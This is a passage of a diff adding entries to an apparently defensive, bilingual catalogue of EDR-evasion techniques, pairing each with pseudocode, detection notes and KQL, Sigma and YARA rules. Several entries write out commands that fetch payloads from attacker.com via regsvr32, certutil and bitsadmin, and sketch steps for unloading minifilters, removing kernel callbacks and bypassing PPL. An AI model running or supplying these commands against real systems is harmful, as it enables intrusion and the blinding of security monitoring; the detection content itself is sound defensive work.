+ "en": "Extension of HellsGate that detects and bypasses EDR hooks by checking neighboring syscall stubs.",
442
+ "fr": "Extension de HellsGate qui d\u00e9tecte et contourne les hooks EDR en v\u00e9rifiant les stubs voisins.",
443
+ },
444
+ "pseudocode": (
445
+ "# Educational pseudocode\n"
446
+ "for func in ntdll_exports:\n"
447
+ " if is_hooked(func): # JMP instruction detected\n"
448
+ " neighbor = get_neighbor_syscall(func)\n"
449
+ " syscall_num = neighbor.number +/- offset\n"
450
+ " # Use calculated syscall number"
451
+ ),
452
+ "detection": {
453
+ "en": "Same as HellsGate plus monitoring for sequential ntdll export enumeration patterns.",
454
+ "fr": "Identique \u00e0 HellsGate plus surveillance des sch\u00e9mas d\u2019\u00e9num\u00e9ration s\u00e9quentielle des exports ntdll.",
455
+ },
456
+ "countermeasure": {
457
+ "en": "Hardware breakpoints on syscall instruction, kernel telemetry, call stack validation.",
458
+ "fr": "Points d\u2019arr\u00eat mat\u00e9riels sur l\u2019instruction syscall, t\u00e9l\u00e9m\u00e9trie noyau, validation de pile d\u2019appels.",
459
+ },
460
+ "sysmon": "10, 7",
461
+ "kql": (
462
+ "DeviceEvents\n| where ActionType in ('NtApiCall','ProcessAccess')\n"
463
+ "| where AdditionalFields contains 'hook_bypass'\n| project Timestamp, DeviceName"
464
+ ),
465
+ "sigma": (
466
+ "title: HalosGate Hook Bypass\nstatus: experimental\n"
467
+ "logsource:\n product: windows\n category: process_access\n"
468
+ "detection:\n selection:\n CallTrace|contains: 'UNKNOWN'\n"
469
+ " condition: selection\nlevel: critical"
470
+ ),
471
+ "yara": (
472
+ "rule HalosGate {\n strings:\n"
473
+ " $hook_check = { E9 ?? ?? ?? ?? } // JMP hook signature\n"
474
+ " $syscall = { 0F 05 C3 }\n"
475
+ " condition:\n $hook_check and $syscall\n}"
476
+ ),
477
+ "edr_config": {
478
+ "en": "Layer kernel and userland monitoring, deploy hardware breakpoints, use PPL for critical processes.",
479
+ "fr": "Superposer la surveillance noyau et utilisateur, d\u00e9ployer des points d\u2019arr\u00eat mat\u00e9riels.",
480
+ },
481
+ },
482
+ {
483
+ "id": "indirect-syscalls",
484
+ "category": "Direct Syscalls",
485
+ "name": {"en": "Indirect Syscalls", "fr": "Syscalls Indirects"},
486
+ "difficulty": "Expert",
487
+ "mitre": "T1106 - Native API",
488
+ "desc": {
489
+ "en": "Executes the syscall instruction from within ntdll memory to avoid detection of syscalls from unusual regions.",
490
+ "fr": "Ex\u00e9cute l\u2019instruction syscall depuis la m\u00e9moire ntdll pour \u00e9viter la d\u00e9tection de syscalls depuis des r\u00e9gions inhabituelles.",
491
+ },
492
+ "pseudocode": (
493
+ "# Educational pseudocode\n"
494
+ "syscall_addr = find_syscall_instruction_in_ntdll()\n"
495
+ "set_registers(args) # prepare arguments\n"
496
+ "jmp syscall_addr # jump into ntdll for the syscall"
497
+ ),
498
+ "detection": {
499
+ "en": "Stack frame analysis showing preparation outside ntdll before jumping into ntdll for syscall execution.",
500
+ "fr": "Analyse de la pile montrant une pr\u00e9paration hors ntdll avant un saut dans ntdll pour le syscall.",
501
+ },
502
+ "countermeasure": {
503
+ "en": "Full stack walk analysis, return address validation, ETW Threat Intelligence kernel provider.",
504
+ "fr": "Analyse compl\u00e8te de la pile d\u2019appels, validation des adresses de retour, fournisseur ETW TI noyau.",
505
+ },
506
+ "sysmon": "10",
507
+ "kql": (
508
+ "DeviceEvents\n| where ActionType == 'SyscallFromUnexpectedRegion'\n"
509
+ "| project Timestamp, DeviceName, InitiatingProcessFileName"
510
+ ),
511
+ "sigma": (
512
+ "title: Indirect Syscall Detection\nstatus: experimental\n"
513
+ "logsource:\n product: windows\n category: process_access\n"
514
+ "detection:\n selection:\n CallTrace|re: '.*ntdll\\.dll\\+0x.*UNKNOWN.*'\n"
515
+ " condition: selection\nlevel: critical"
516
+ ),
517
+ "yara": (
518
+ "rule Indirect_Syscalls {\n strings:\n"
519
+ " $jmp_ntdll = { FF 25 ?? ?? ?? ?? } // JMP to ntdll\n"
520
+ ' $ntdll = "ntdll" ascii wide\n'
521
+ " condition:\n all of them\n}"
522
+ ),
523
+ "edr_config": {
524
+ "en": "ETW TI + kernel callbacks + full call stack analysis with return address validation.",
525
+ "fr": "ETW TI + callbacks noyau + analyse compl\u00e8te de la pile avec validation des adresses de retour.",
526
+ },
527
+ },
528
+ # ---- EDR Agent Tampering ----
529
+ {
530
+ "id": "ppl-bypass",
531
+ "category": "EDR Agent Tampering",
532
+ "name": {"en": "PPL Bypass", "fr": "Contournement PPL"},
533
+ "difficulty": "Expert",
534
+ "mitre": "T1562.001 - Disable or Modify Tools",
535
+ "desc": {
536
+ "en": "Exploits vulnerabilities to bypass Protected Process Light, allowing access to protected EDR processes.",
537
+ "fr": "Exploite des vuln\u00e9rabilit\u00e9s pour contourner Protected Process Light et acc\u00e9der aux processus EDR prot\u00e9g\u00e9s.",
538
+ },
539
+ "pseudocode": (
540
+ "# Educational pseudocode\n"
541
+ "# Load vulnerable signed driver\n"
542
+ "driver = LoadDriver('vulnerable_signed.sys')\n"
543
+ "# Use driver to modify EPROCESS.Protection\n"
544
+ "eprocess = GetEPROCESS(target_pid)\n"
545
+ "WriteKernelMemory(eprocess.Protection, 0x00)"
546
+ ),
547
+ "detection": {
548
+ "en": "Monitor driver loading events, detect EPROCESS modification, watch for known vulnerable drivers.",
549
+ "fr": "Surveiller les chargements de pilotes, d\u00e9tecter la modification EPROCESS, identifier les pilotes vuln\u00e9rables.",
550
+ },
551
+ "countermeasure": {
552
+ "en": "HVCI enforcement, vulnerable driver blocklist, Secure Boot, kernel patch protection.",
553
+ "fr": "Application HVCI, liste de blocage des pilotes vuln\u00e9rables, Secure Boot, protection des correctifs noyau.",
554
+ },
555
+ "sysmon": "6, 13, 10",
556
+ "kql": (
557
+ "DeviceEvents\n| where ActionType == 'DriverLoad'\n"
558
+ "| where FileName in (known_vulnerable_drivers)\n| project Timestamp, DeviceName, FileName"
559
+ ),
560
+ "sigma": (
561
+ "title: Vulnerable Driver Loading for PPL Bypass\nstatus: experimental\n"
562
+ "logsource:\n product: windows\n category: driver_load\n"
563
+ "detection:\n selection:\n Hashes|contains:\n"
564
+ " - 'known_vuln_driver_hash_1'\n - 'known_vuln_driver_hash_2'\n"
565
+ " condition: selection\nlevel: critical"
566
+ ),
567
+ "yara": (
568
+ "rule PPL_Bypass_Tool {\n strings:\n"
569
+ ' $a = "EPROCESS" ascii\n $b = "Protection" ascii\n'
570
+ ' $c = "NtLoadDriver" ascii\n'
571
+ " condition:\n all of them\n}"
572
+ ),
573
+ "edr_config": {
574
+ "en": "Enable HVCI, configure vulnerable driver blocklist, enforce Secure Boot, deploy driver signing enforcement.",
575
+ "fr": "Activer HVCI, configurer la liste de blocage des pilotes vuln\u00e9rables, appliquer Secure Boot.",
576
+ },
577
+ },
578
+ {
579
+ "id": "minifilter-tampering",
580
+ "category": "EDR Agent Tampering",
581
+ "name": {"en": "Minifilter Tampering", "fr": "Falsification de Minifiltre"},
582
+ "difficulty": "Expert",
583
+ "mitre": "T1562.001 - Disable or Modify Tools",
584
+ "desc": {
585
+ "en": "Unloads or detaches EDR minifilter drivers to blind file system monitoring.",
586
+ "fr": "D\u00e9charge ou d\u00e9tache les pilotes minifiltre EDR pour aveugler la surveillance du syst\u00e8me de fichiers.",
587
+ },
588
+ "pseudocode": (
589
+ "# Educational pseudocode\n"
590
+ "# Using fltMC.exe (requires admin)\n"
591
+ "fltMC unload EDRMiniFilter\n"
592
+ "# Or via direct kernel manipulation\n"
593
+ "filter = FindMinifilter('EDRFilter')\n"
594
+ "FltUnregisterFilter(filter)"
595
+ ),
596
+ "detection": {
597
+ "en": "Monitor fltMC.exe usage, detect minifilter unload events, watch for EDR service disruption.",
598
+ "fr": "Surveiller l\u2019utilisation de fltMC.exe, d\u00e9tecter les d\u00e9chargements de minifiltres.",
599
+ },
600
+ "countermeasure": {
601
+ "en": "Tamper protection for minifilters, kernel callback guards, elevation monitoring.",
602
+ "fr": "Protection anti-falsification des minifiltres, gardes de callbacks noyau, surveillance des \u00e9l\u00e9vations.",
603
+ },
604
+ "sysmon": "1, 6, 13",
605
+ "kql": (
606
+ 'DeviceProcessEvents\n| where FileName == "fltMC.exe"\n'
607
+ '| where ProcessCommandLine contains "unload"\n| project Timestamp, DeviceName'
608
+ ),
609
+ "sigma": (
610
+ "title: Minifilter Unload Attempt\nstatus: experimental\n"
611
+ "logsource:\n product: windows\n category: process_creation\n"
612
+ "detection:\n selection:\n Image|endswith: '\\\\fltMC.exe'\n"
613
+ " CommandLine|contains: 'unload'\n condition: selection\nlevel: critical"
614
+ ),
615
+ "yara": (
616
+ "rule Minifilter_Tamper {\n strings:\n"
617
+ ' $a = "FltUnregisterFilter" ascii\n $b = "fltMC" ascii wide\n'
618
+ ' $c = "unload" ascii wide\n'
619
+ " condition:\n 2 of them\n}"
620
+ ),
621
+ "edr_config": {
622
+ "en": "Enable kernel tamper protection, restrict fltMC access, implement self-healing minifilter registration.",
623
+ "fr": "Activer la protection noyau anti-falsification, restreindre fltMC, impl\u00e9menter l\u2019auto-r\u00e9paration des minifiltres.",
624
+ },
625
+ },
626
+ {
627
+ "id": "kernel-callback-removal",
628
+ "category": "EDR Agent Tampering",
629
+ "name": {"en": "Kernel Callback Removal", "fr": "Suppression de Callbacks Noyau"},
630
+ "difficulty": "Expert",
631
+ "mitre": "T1562.001 - Disable or Modify Tools",
632
+ "desc": {
633
+ "en": "Removes kernel notification callbacks registered by EDR to stop process/thread/image load monitoring.",
634
+ "fr": "Supprime les callbacks de notification noyau enregistr\u00e9s par l\u2019EDR pour arr\u00eater la surveillance.",
635
+ },
636
+ "pseudocode": (
637
+ "# Educational pseudocode\n"
638
+ "callbacks = EnumKernelCallbacks(PsProcessNotify)\n"
639
+ "for cb in callbacks:\n"
640
+ " if cb.module == 'EDRDriver.sys':\n"
641
+ " PsSetCreateProcessNotifyRoutine(cb.addr, REMOVE)"
642
+ ),
643
+ "detection": {
644
+ "en": "Monitor callback array integrity, detect callback removal events, EDR self-health monitoring.",
645
+ "fr": "Surveiller l\u2019int\u00e9grit\u00e9 des tableaux de callbacks, d\u00e9tecter les suppressions, auto-surveillance EDR.",
646
+ },
647
+ "countermeasure": {
648
+ "en": "Periodic callback integrity verification, kernel object protection, VBS-based protection.",
649
+ "fr": "V\u00e9rification p\u00e9riodique de l\u2019int\u00e9grit\u00e9 des callbacks, protection des objets noyau, protection VBS.",
650
+ },
651
+ "sysmon": "6, 13",
652
+ "kql": (
653
+ "DeviceEvents\n| where ActionType == 'KernelCallbackModification'\n"
654
+ "| project Timestamp, DeviceName, AdditionalFields"
655
+ ),
656
+ "sigma": (
657
+ "title: Kernel Callback Manipulation\nstatus: experimental\n"
658
+ "logsource:\n product: windows\n category: driver_load\n"
659
+ "detection:\n selection:\n EventID: 6\n"
660
+ " filter:\n Signed: 'true'\n"
661
+ " condition: selection and not filter\nlevel: critical"
662
+ ),
663
+ "yara": (
664
+ "rule Kernel_Callback_Removal {\n strings:\n"
665
+ ' $a = "PsSetCreateProcessNotifyRoutine" ascii\n'
666
+ ' $b = "ObUnRegisterCallbacks" ascii\n'
667
+ ' $c = "CmUnRegisterCallback" ascii\n'
668
+ " condition:\n 2 of them\n}"
669
+ ),
670
+ "edr_config": {
671
+ "en": "VBS-based kernel protection, periodic self-integrity checks, heartbeat monitoring for callbacks.",
672
+ "fr": "Protection noyau bas\u00e9e sur VBS, v\u00e9rifications p\u00e9riodiques, surveillance de la pr\u00e9sence des callbacks.",
673
+ },
674
+ },
675
+ # ---- Living off the Land ----
676
+ {
677
+ "id": "msbuild",
678
+ "category": "Living off the Land",
679
+ "name": {"en": "MSBuild Execution", "fr": "Ex\u00e9cution MSBuild"},
680
+ "difficulty": "Easy",
681
+ "mitre": "T1127.001 - Trusted Developer Utilities: MSBuild",
682
+ "desc": {
683
+ "en": "Uses MSBuild.exe to compile and execute inline C# code from XML project files, bypassing application whitelisting.",
684
+ "fr": "Utilise MSBuild.exe pour compiler et ex\u00e9cuter du code C# depuis des fichiers XML, contournant le whitelisting.",
685
+ },
686
+ "pseudocode": (
687
+ "# Educational pseudocode\n"
688
+ '# payload.xml contains inline C# Task\n'
689
+ "msbuild.exe payload.xml\n"
690
+ "# The XML contains: <Task> with embedded C# code\n"
691
+ "# MSBuild compiles and executes at runtime"
692
+ ),
693
+ "detection": {
694
+ "en": "Monitor MSBuild.exe spawning without Visual Studio parent. Check for XML files with inline C# Tasks.",
695
+ "fr": "Surveiller MSBuild.exe sans processus parent Visual Studio. V\u00e9rifier les fichiers XML avec des T\u00e2ches C#.",
696
+ },
697
+ "countermeasure": {
698
+ "en": "WDAC/AppLocker policies for MSBuild, restrict to dev machines, log all MSBuild executions.",
699
+ "fr": "Politiques WDAC/AppLocker pour MSBuild, restreindre aux machines de dev, journaliser les ex\u00e9cutions.",
700
+ },
701
+ "sysmon": "1, 11",
702
+ "kql": (
703
+ 'DeviceProcessEvents\n| where FileName == "MSBuild.exe"\n'
704
+ '| where InitiatingProcessFileName != "devenv.exe"\n| project Timestamp, DeviceName, ProcessCommandLine'
705
+ ),
706
+ "sigma": (
707
+ "title: Suspicious MSBuild Execution\nstatus: stable\n"
708
+ "logsource:\n product: windows\n category: process_creation\n"
709
+ "detection:\n selection:\n Image|endswith: '\\\\MSBuild.exe'\n"
710
+ " filter:\n ParentImage|endswith: '\\\\devenv.exe'\n"
711
+ " condition: selection and not filter\nlevel: high"
712
+ ),
713
+ "yara": (
714
+ 'rule MSBuild_Payload {\n strings:\n $a = "<Task>" ascii\n'
715
+ ' $b = "UsingTask" ascii\n $c = "CodeTaskFactory" ascii\n'
716
+ " condition:\n all of them\n}"
717
+ ),
718
+ "edr_config": {
719
+ "en": "Block MSBuild on non-developer endpoints, enable script block logging, configure application control.",
720
+ "fr": "Bloquer MSBuild sur les postes non-d\u00e9veloppeurs, activer la journalisation des scripts.",
721
+ },
722
+ },
723
+ {
724
+ "id": "installutil",
725
+ "category": "Living off the Land",
726
+ "name": {"en": "InstallUtil Bypass", "fr": "Contournement InstallUtil"},
727
+ "difficulty": "Easy",
728
+ "mitre": "T1218.004 - System Binary Proxy Execution: InstallUtil",
729
+ "desc": {
730
+ "en": "Abuses InstallUtil.exe to execute .NET assemblies with Uninstall method containing malicious code.",
731
+ "fr": "Abuse InstallUtil.exe pour ex\u00e9cuter des assemblies .NET avec une m\u00e9thode Uninstall contenant du code malveillant.",
732
+ },
733
+ "pseudocode": (
734
+ "# Educational pseudocode\n"
735
+ "# Compile .NET assembly with [RunInstaller(true)] class\n"
736
+ "# Override Uninstall() method with payload\n"
737
+ "InstallUtil.exe /logfile= /LogToConsole=false /U payload.dll"
738
+ ),
739
+ "detection": {
740
+ "en": "Monitor InstallUtil.exe with /U flag, unexpected .NET assembly loading, network connections from InstallUtil.",
741
+ "fr": "Surveiller InstallUtil.exe avec /U, chargements d\u2019assemblies .NET inattendus, connexions r\u00e9seau depuis InstallUtil.",
742
+ },
743
+ "countermeasure": {
744
+ "en": "Application control policies, restrict InstallUtil to admin accounts, monitor command line arguments.",
745
+ "fr": "Politiques de contr\u00f4le d\u2019applications, restreindre InstallUtil, surveiller les arguments de ligne de commande.",
746
+ },
747
+ "sysmon": "1, 7, 3",
748
+ "kql": (
749
+ 'DeviceProcessEvents\n| where FileName == "InstallUtil.exe"\n'
750
+ '| where ProcessCommandLine contains "/U"\n| project Timestamp, DeviceName, ProcessCommandLine'
751
+ ),
752
+ "sigma": (
753
+ "title: InstallUtil Abuse\nstatus: stable\n"
754
+ "logsource:\n product: windows\n category: process_creation\n"
755
+ "detection:\n selection:\n Image|endswith: '\\\\InstallUtil.exe'\n"
756
+ " CommandLine|contains: '/U'\n condition: selection\nlevel: high"
757
+ ),
758
+ "yara": (
759
+ "rule InstallUtil_Abuse {\n strings:\n"
760
+ ' $a = "RunInstallerAttribute" ascii\n $b = "Uninstall" ascii\n'
761
+ ' $c = "System.Configuration.Install" ascii\n'
762
+ " condition:\n all of them\n}"
763
+ ),
764
+ "edr_config": {
765
+ "en": "Block InstallUtil on standard endpoints, WDAC policies, monitor .NET assembly loading.",
766
+ "fr": "Bloquer InstallUtil sur les postes standards, politiques WDAC, surveiller les chargements .NET.",
767
+ },
768
+ },
769
+ {
770
+ "id": "regsvr32",
771
+ "category": "Living off the Land",
772
+ "name": {"en": "Regsvr32 (Squiblydoo)", "fr": "Regsvr32 (Squiblydoo)"},
773
+ "difficulty": "Easy",
774
+ "mitre": "T1218.010 - System Binary Proxy Execution: Regsvr32",
775
+ "desc": {
776
+ "en": "Uses regsvr32.exe to load remote SCT (scriptlet) files containing JScript/VBScript payloads.",
777
+ "fr": "Utilise regsvr32.exe pour charger des fichiers SCT distants contenant des payloads JScript/VBScript.",
778
+ },
779
+ "pseudocode": (
780
+ "# Educational pseudocode\n"
781
+ "regsvr32 /s /n /u /i:http://attacker.com/payload.sct scrobj.dll\n"
782
+ "# payload.sct contains JScript/VBScript code\n"
783
+ "# Executes in memory without touching disk"
784
+ ),
785
+ "detection": {
786
+ "en": "Monitor regsvr32.exe with /i: flag pointing to URLs, network connections from regsvr32.",
787
+ "fr": "Surveiller regsvr32.exe avec /i: pointant vers des URLs, connexions r\u00e9seau depuis regsvr32.",
788
+ },
789
+ "countermeasure": {
790
+ "en": "Block outbound connections from regsvr32, application control, script execution restrictions.",
791
+ "fr": "Bloquer les connexions sortantes de regsvr32, contr\u00f4le d\u2019applications, restrictions de scripts.",
792
+ },
793
+ "sysmon": "1, 3, 7",
794
+ "kql": (
795
+ 'DeviceProcessEvents\n| where FileName == "regsvr32.exe"\n'
796
+ '| where ProcessCommandLine contains "/i:http"\n| project Timestamp, DeviceName, ProcessCommandLine'
797
+ ),
798
+ "sigma": (
799
+ "title: Regsvr32 Squiblydoo\nstatus: stable\n"
800
+ "logsource:\n product: windows\n category: process_creation\n"
801
+ "detection:\n selection:\n Image|endswith: '\\\\regsvr32.exe'\n"
802
+ " CommandLine|contains: '/i:http'\n condition: selection\nlevel: critical"
803
+ ),
804
+ "yara": (
805
+ 'rule Squiblydoo_SCT {\n strings:\n $a = "scriptlet" ascii nocase\n'
806
+ ' $b = "registration" ascii nocase\n $c = "<script" ascii nocase\n'
807
+ " condition:\n all of them\n}"
808
+ ),
809
+ "edr_config": {
810
+ "en": "Block regsvr32 network access, disable scriptlet execution, WDAC application control.",
811
+ "fr": "Bloquer l\u2019acc\u00e8s r\u00e9seau de regsvr32, d\u00e9sactiver les scriptlets, contr\u00f4le WDAC.",
812
+ },
813
+ },
814
+ {
815
+ "id": "cmstp",
816
+ "category": "Living off the Land",
817
+ "name": {"en": "CMSTP Bypass", "fr": "Contournement CMSTP"},
818
+ "difficulty": "Medium",
819
+ "mitre": "T1218.003 - System Binary Proxy Execution: CMSTP",
820
+ "desc": {
821
+ "en": "Abuses Connection Manager Profile Installer to execute commands via INF files with UnRegisterOCXs.",
822
+ "fr": "Abuse l\u2019installateur de profils Connection Manager pour ex\u00e9cuter des commandes via des fichiers INF.",
823
+ },
824
+ "pseudocode": (
825
+ "# Educational pseudocode\n"
826
+ "# Create malicious INF file with UnRegisterOCXs section\n"
827
+ "cmstp.exe /ni /s payload.inf\n"
828
+ "# INF contains: UnRegisterOCXs pointing to script/binary"
829
+ ),
830
+ "detection": {
831
+ "en": "Monitor cmstp.exe execution with /ni and /s flags, watch for INF file creation.",
832
+ "fr": "Surveiller l\u2019ex\u00e9cution de cmstp.exe avec les drapeaux /ni et /s, v\u00e9rifier la cr\u00e9ation de fichiers INF.",
833
+ },
834
+ "countermeasure": {
835
+ "en": "Application control, restrict cmstp.exe, monitor INF file creation in temp directories.",
836
+ "fr": "Contr\u00f4le d\u2019applications, restreindre cmstp.exe, surveiller la cr\u00e9ation de fichiers INF dans les r\u00e9pertoires temporaires.",
837
+ },
838
+ "sysmon": "1, 11",
839
+ "kql": (
840
+ 'DeviceProcessEvents\n| where FileName == "cmstp.exe"\n'
841
+ '| where ProcessCommandLine contains "/ni"\n| project Timestamp, DeviceName, ProcessCommandLine'
842
+ ),
843
+ "sigma": (
844
+ "title: CMSTP Bypass\nstatus: stable\n"
845
+ "logsource:\n product: windows\n category: process_creation\n"
846
+ "detection:\n selection:\n Image|endswith: '\\\\cmstp.exe'\n"
847
+ " CommandLine|contains: '/ni'\n condition: selection\nlevel: high"
848
+ ),
849
+ "yara": (
850
+ 'rule CMSTP_Payload {\n strings:\n $a = "UnRegisterOCXs" ascii\n'
851
+ ' $b = "[DefaultInstall]" ascii\n $c = "cmstp" ascii nocase\n'
852
+ " condition:\n all of them\n}"
853
+ ),
854
+ "edr_config": {
855
+ "en": "Block cmstp.exe on standard endpoints, monitor INF file creation, restrict CMS profile installation.",
856
+ "fr": "Bloquer cmstp.exe sur les postes standards, surveiller les fichiers INF.",
857
+ },
858
+ },
859
+ {
860
+ "id": "certutil",
861
+ "category": "Living off the Land",
862
+ "name": {"en": "Certutil Download", "fr": "T\u00e9l\u00e9chargement Certutil"},
863
+ "difficulty": "Easy",
864
+ "mitre": "T1105 - Ingress Tool Transfer",
865
+ "desc": {
866
+ "en": "Abuses certutil.exe to download files from remote servers and decode base64-encoded payloads.",
867
+ "fr": "Abuse certutil.exe pour t\u00e9l\u00e9charger des fichiers et d\u00e9coder des payloads encod\u00e9s en base64.",
868
+ },
869
+ "pseudocode": (
870
+ "# Educational pseudocode\n"
871
+ "certutil -urlcache -split -f http://attacker.com/payload.exe out.exe\n"
872
+ "# Or decode base64\n"
873
+ "certutil -decode encoded.txt payload.exe"
874
+ ),
875
+ "detection": {
876
+ "en": "Monitor certutil with -urlcache or -decode flags, network connections from certutil.",
877
+ "fr": "Surveiller certutil avec les drapeaux -urlcache ou -decode, connexions r\u00e9seau depuis certutil.",
878
+ },
879
+ "countermeasure": {
880
+ "en": "Block certutil network access via firewall, application control, command line monitoring.",
881
+ "fr": "Bloquer les acc\u00e8s r\u00e9seau de certutil, contr\u00f4le d\u2019applications, surveillance des lignes de commande.",
882
+ },
883
+ "sysmon": "1, 3, 11",
884
+ "kql": (
885
+ 'DeviceProcessEvents\n| where FileName == "certutil.exe"\n'
886
+ '| where ProcessCommandLine has_any ("urlcache","decode")\n| project Timestamp, DeviceName, ProcessCommandLine'
887
+ ),
888
+ "sigma": (
889
+ "title: Certutil Download or Decode\nstatus: stable\n"
890
+ "logsource:\n product: windows\n category: process_creation\n"
891
+ "detection:\n selection:\n Image|endswith: '\\\\certutil.exe'\n"
892
+ " CommandLine|contains:\n - 'urlcache'\n - 'decode'\n"
893
+ " condition: selection\nlevel: high"
894
+ ),
895
+ "yara": (
896
+ "rule Certutil_Abuse {\n strings:\n"
897
+ ' $a = "certutil" ascii nocase\n $b = "urlcache" ascii nocase\n'
898
+ ' $c = "decode" ascii nocase\n'
899
+ " condition:\n $a and ($b or $c)\n}"
900
+ ),
901
+ "edr_config": {
902
+ "en": "Block certutil outbound connections, restrict to certificate management only, audit all usage.",
903
+ "fr": "Bloquer les connexions sortantes de certutil, restreindre \u00e0 la gestion de certificats, auditer.",
904
+ },
905
+ },
906
+ {
907
+ "id": "bitsadmin",
908
+ "category": "Living off the Land",
909
+ "name": {"en": "BITSAdmin Transfer", "fr": "Transfert BITSAdmin"},
910
+ "difficulty": "Easy",
911
+ "mitre": "T1197 - BITS Jobs",
912
+ "desc": {
913
+ "en": "Abuses Background Intelligent Transfer Service to download files stealthily and persist across reboots.",
914
+ "fr": "Abuse le service BITS pour t\u00e9l\u00e9charger des fichiers discr\u00e8tement et persister apr\u00e8s red\u00e9marrage.",
915
+ },
916
+ "pseudocode": (
917
+ "# Educational pseudocode\n"
918
+ "bitsadmin /transfer job /download /priority high\n"
919
+ " http://attacker.com/payload.exe C:\\\\temp\\\\payload.exe\n"
920
+ "# BITS jobs survive reboots and run as SYSTEM"
921
+ ),
922
+ "detection": {
923
+ "en": "Monitor bitsadmin.exe and BITS event logs, track unusual BITS job creation.",
924
+ "fr": "Surveiller bitsadmin.exe et les journaux BITS, suivre la cr\u00e9ation de t\u00e2ches BITS inhabituelles.",
925
+ },
926
+ "countermeasure": {
927
+ "en": "Restrict BITS job creation, monitor BITS event log (ID 59-61), limit BITS bandwidth.",
928
+ "fr": "Restreindre la cr\u00e9ation de t\u00e2ches BITS, surveiller le journal BITS (ID 59-61).",
929
+ },
930
+ "sysmon": "1, 3",
931
+ "kql": (
932
+ 'DeviceProcessEvents\n| where FileName == "bitsadmin.exe"\n'
933
+ '| where ProcessCommandLine contains "/transfer"\n| project Timestamp, DeviceName, ProcessCommandLine'
934
+ ),
935
+ "sigma": (
936
+ "title: BITSAdmin File Download\nstatus: stable\n"
937
+ "logsource:\n product: windows\n category: process_creation\n"
938
+ "detection:\n selection:\n Image|endswith: '\\\\bitsadmin.exe'\n"
939
+ " CommandLine|contains: '/transfer'\n condition: selection\nlevel: medium"
940
+ ),
941
+ "yara": (
942
+ "rule BITSAdmin_Abuse {\n strings:\n"
943
+ ' $a = "bitsadmin" ascii nocase\n $b = "/transfer" ascii nocase\n'
944
+ ' $c = "IBackgroundCopyManager" ascii\n'
945
+ " condition:\n ($a and $b) or $c\n}"
946
+ ),
947
+ "edr_config": {
948
+ "en": "Monitor BITS event log, restrict BITS job creation via GPO, alert on unusual BITS activity.",
949
+ "fr": "Surveiller le journal BITS, restreindre la cr\u00e9ation de t\u00e2ches BITS via GPO.",
950
+ },
951
+ },
952
+ # ---- Sandbox Detection ----
953
+ {
954
+ "id": "hw-fingerprint",
955
+ "category": "Sandbox Detection",
956
+ "name": {"en": "Hardware Fingerprinting", "fr": "Empreinte Mat\u00e9rielle"},
957
+ "difficulty": "Medium",
958
+ "mitre": "T1497.001 - Virtualization/Sandbox Evasion: System Checks",
959
+ "desc": {
960
+ "en": "Checks hardware characteristics (CPU count, RAM, disk size, GPU) to detect virtualized sandbox environments.",
961
+ "fr": "V\u00e9rifie les caract\u00e9ristiques mat\u00e9rielles (CPU, RAM, disque, GPU) pour d\u00e9tecter les environnements sandbox virtualis\u00e9s.",
962
+ },
963
+ "pseudocode": (
964
+ "# Educational pseudocode\n"
965
+ "if cpu_count < 2: exit() # sandboxes often have 1 CPU\n"
966
+ "if ram_gb < 4: exit() # sandboxes have low RAM\n"
967
+ "if disk_gb < 60: exit() # small disk = sandbox\n"
968
+ "if 'VMware' in bios_string: exit()"
969
+ ),
970
+ "detection": {
971
+ "en": "Monitor WMI queries for hardware info, detect rapid environment enumeration at process start.",
972
+ "fr": "Surveiller les requ\u00eates WMI pour les infos mat\u00e9rielles, d\u00e9tecter l\u2019\u00e9num\u00e9ration rapide d\u2019environnement.",
973
+ },
974
+ "countermeasure": {
975
+ "en": "Configure sandboxes with realistic hardware specs, mask VM artifacts, use bare-metal analysis.",
976
+ "fr": "Configurer les sandboxes avec des specs r\u00e9alistes, masquer les artefacts VM, utiliser l\u2019analyse bare-metal.",
977
+ },
978
+ "sysmon": "1, 19, 20",
979
+ "kql": (
980
+ "DeviceProcessEvents\n| where ProcessCommandLine has_any ('Win32_ComputerSystem','Win32_BIOS','Win32_DiskDrive')\n"
981
+ "| project Timestamp, DeviceName, ProcessCommandLine"
982
+ ),
983
+ "sigma": (
984
+ "title: Sandbox Detection via WMI\nstatus: experimental\n"
985
+ "logsource:\n product: windows\n category: process_creation\n"
986
+ "detection:\n selection:\n CommandLine|contains:\n"
987
+ " - 'Win32_ComputerSystem'\n - 'Win32_BIOS'\n"
988
+ " condition: selection\nlevel: medium"
989
+ ),
990
+ "yara": (
991
+ "rule Sandbox_Detection {\n strings:\n"
992
+ ' $a = "Win32_ComputerSystem" ascii wide\n'
993
+ ' $b = "VMware" ascii wide\n $c = "VirtualBox" ascii wide\n'
994
+ ' $d = "NumberOfProcessors" ascii wide\n'
995
+ " condition:\n 3 of them\n}"
996
+ ),
997
+ "edr_config": {
998
+ "en": "Use high-fidelity sandboxes, monitor WMI queries, deploy bare-metal detonation capabilities.",
999
+ "fr": "Utiliser des sandboxes haute fid\u00e9lit\u00e9, surveiller les requ\u00eates WMI.",
1000
+ },
1001
+ },
1002
+ {
1003
+ "id": "timing-checks",
1004
+ "category": "Sandbox Detection",
1005
+ "name": {"en": "Timing-Based Evasion", "fr": "\u00c9vasion par Temporisation"},
1006
+ "difficulty": "Medium",
1007
+ "mitre": "T1497.003 - Virtualization/Sandbox Evasion: Time Based Evasion",
1008
+ "desc": {
1009
+ "en": "Uses sleep timers, GetTickCount, or RDTSC to detect accelerated sandbox execution or delayed analysis.",
1010
+ "fr": "Utilise des minuteries, GetTickCount ou RDTSC pour d\u00e9tecter l\u2019ex\u00e9cution acc\u00e9l\u00e9r\u00e9e des sandboxes.",
1011
+ },
1012
+ "pseudocode": (
1013
+ "# Educational pseudocode\n"
1014
+ "t1 = GetTickCount()\n"
1015
+ "Sleep(10000) # 10 seconds\n"
1016
+ "t2 = GetTickCount()\n"
1017
+ "if (t2 - t1) < 9000: # sandbox skipped the sleep\n"
1018
+ " exit() # do not execute payload"
1019
+ ),
1020
+ "detection": {
1021
+ "en": "Detect long sleep calls followed by timestamp verification, RDTSC instruction patterns.",
1022
+ "fr": "D\u00e9tecter les appels sleep longs suivis de v\u00e9rification de timestamp, les sch\u00e9mas RDTSC.",
1023
+ },
1024
+ "countermeasure": {
1025
+ "en": "Implement accurate time acceleration in sandboxes, use kernel-level sleep skipping detection.",
1026
+ "fr": "Impl\u00e9menter une acc\u00e9l\u00e9ration temporelle pr\u00e9cise dans les sandboxes.",
1027
+ },
1028
+ "sysmon": "1",
1029
+ "kql": (
1030
+ "DeviceEvents\n| where ActionType == 'ProcessCreated'\n"
1031
